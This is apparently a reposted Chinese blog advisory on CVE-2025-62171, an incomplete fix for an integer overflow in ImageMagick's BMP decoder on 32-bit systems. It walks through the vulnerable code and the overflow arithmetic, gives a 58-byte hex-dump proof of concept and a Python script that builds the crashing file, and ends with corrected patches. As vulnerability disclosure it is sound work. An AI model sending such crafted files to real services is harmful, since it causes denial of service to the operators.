ImageMagick BMP解码器整数溢出漏洞深度分析

ImageMagick BMP解码器整数溢出漏洞(CVE-2025-62171)

漏洞详情

包信息

  • NuGet包:Magick.NET-Q16-AnyCPU、Magick.NET-Q16-HDRI-AnyCPU等
  • 受影响版本:< 14.9.0
  • 已修复版本:14.9.0

漏洞描述

CVE-2025-57803声称在ImageMagick 7.1.2-2中已修复,但实际上修复不完整且无效。最新版本7.1.2-5仍然容易受到相同的整数溢出攻击。

补丁添加了BMPOverflowCheck()函数,但将其放置在溢出发生之后,使其变得无用。一个恶意的58字节BMP文件可以触发AddressSanitizer崩溃和拒绝服务。

受影响版本:

  • ImageMagick < 7.1.2-2(最初报告)
  • ImageMagick 7.1.2-2 至 7.1.2-5(不完整补丁)

平台和配置要求:

  • 仅限32位系统(i386、i686、armv7l等)
  • 需要size_t = 4字节(64位系统不易受攻击)
  • 需要修改资源限制:必须手动增加默认的宽度、高度和区域限制

详细分析(根本原因分析)

易受攻击的代码位置
文件:coders/bmp.c
行数:1120-1122(版本7.1.2-5)

不完整的补丁

// 第1120行:整数溢出在此发生
extent = image->columns * bmp_info.bits_per_pixel;  // 溢出!

// 第1121行:使用已溢出的值
bytes_per_line = 4*((extent+31)/32);

// 第1122行:检查结果,而不是乘法运算
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

补丁失败的原因
攻击向量(32位系统):
输入BMP头:

  • 宽度:536,870,912 (0x20000000)
  • 高度:1
  • 每像素位数:32

32位系统上的计算:

extent = 536,870,912 × 32
       = 17,179,869,184 (0x400000000)

32位截断:
0x400000000 & 0xFFFFFFFF = 0x00000000 ← 溢出为零!

bytes_per_line = 4 × ((0 + 31) / 32)
               = 4 × 0
               = 0

BMPOverflowCheck(0, 1):
  return (1 != 0) && (0 > 4294967295UL/1)
  return True && (0 > 4294967295)
  return True && False
  return False ← 未检测到溢出!

概念验证(PoC)

最小58字节BMP文件
十六进制转储:

00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

Python生成器

#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP文件头(14字节)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # 文件大小
file_header += struct.pack('<HH', 0, 0)   # 保留
file_header += struct.pack('<I', 54)      # 像素偏移

# DIB头(40字节)
dib_header = struct.pack('<I', 40)        # 头大小
dib_header += struct.pack('<i', width)    # 宽度
dib_header += struct.pack('<i', height)   # 高度
dib_header += struct.pack('<H', 1)        # 平面
dib_header += struct.pack('<H', bpp)      # BPP
dib_header += struct.pack('<I', 0)        # 压缩
dib_header += struct.pack('<I', 0)        # 图像大小
dib_header += struct.pack('<i', 2835)     # X ppm
dib_header += struct.pack('<i', 2835)     # Y ppm
dib_header += struct.pack('<I', 0)        # 颜色
dib_header += struct.pack('<I', 0)        # 重要颜色

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f:
    f.write(file_header + dib_header + pixel_data)

print(f"Created overflow.bmp (58 bytes)")

影响

攻击场景

  • 攻击者创建58字节的恶意BMP文件
  • 上传到使用ImageMagick的Web服务(在32位系统上)
  • ImageMagick尝试处理图像
  • 整数溢出触发AddressSanitizer崩溃
  • 服务变得不可用(拒绝服务)

实际目标:

  • 具有图像处理功能的Web托管平台
  • 具有缩略图生成功能的CDN服务
  • 传统嵌入式系统
  • 运行32位Linux的IoT设备
  • 使用32位基础镜像的Docker容器

推荐修复

正确的补丁
溢出检查必须在乘法运算之前进行:

// 在计算extent之前添加溢出检查
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// 现在安全计算
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);

// 额外的安全检查
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

替代方案:使用64位算术

// 强制64位计算
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX)
    ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);

参考信息

公众号二维码

公众号二维码

posted @ 2025-11-29 12:03  qife  阅读(0)  评论(0)    收藏  举报